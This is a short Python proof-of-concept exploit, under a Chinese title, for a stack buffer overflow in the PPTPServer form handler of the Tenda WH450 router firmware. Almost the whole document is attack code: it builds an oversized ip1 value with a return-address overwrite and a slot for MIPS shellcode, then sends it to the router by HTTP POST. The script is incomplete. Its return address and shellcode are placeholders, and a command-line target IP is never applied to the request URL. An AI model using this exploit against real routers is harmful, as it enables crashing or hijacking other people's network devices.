CVE-2025-15160 Tenda WH450路由器栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-15160 PoC - Tenda WH450 Stack Buffer Overflow Affected: Tenda WH450 1.0.0.18 Type: Stack-based buffer overflow in /goform/PPTPServer (ip1 parameter) CVSS: 7.2 (High) """ import requests import sys TARGET_IP = "192.168.0.1" # Router IP TARGET_PORT = 80 TARGET_URL = f"http://{TARGET_IP}:{TARGET_PORT}/goform/PPTPServer" # Generate overflow payload # Stack buffer overflow in ip1 parameter # Adjust length based on actual buffer size OVERFLOW_LENGTH = 1024 def create_payload(): """Create malicious payload for ip1 parameter""" # Padding to overflow the buffer padding = b"A" * OVERFLOW_LENGTH # Overwrite return address (little-endian) return_addr = b"\x12\x34\x56\x78" # Replace with actual gadget address # Optional: Add shellcode for code execution shellcode = b"" # Add MIPS shellcode if needed payload = padding + return_addr + shellcode return payload def exploit(): """Send exploit request to vulnerable endpoint""" payload = create_payload() data = { "ip1": payload.decode('latin-1'), "ip2": "192.168.1.1", # Normal PPTP server IP "enable": "1" } try: print(f"[*] Sending exploit to {TARGET_URL}") print(f"[*] Payload length: {len(payload)} bytes") response = requests.post(TARGET_URL, data=data, timeout=10) print(f"[*] Response status: {response.status_code}") print(f"[*] Response: {response.text[:200]}") return True except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_IP = sys.argv[1] print("="*60) print("CVE-2025-15160 - Tenda WH450 Stack Buffer Overflow PoC") print("="*60) exploit()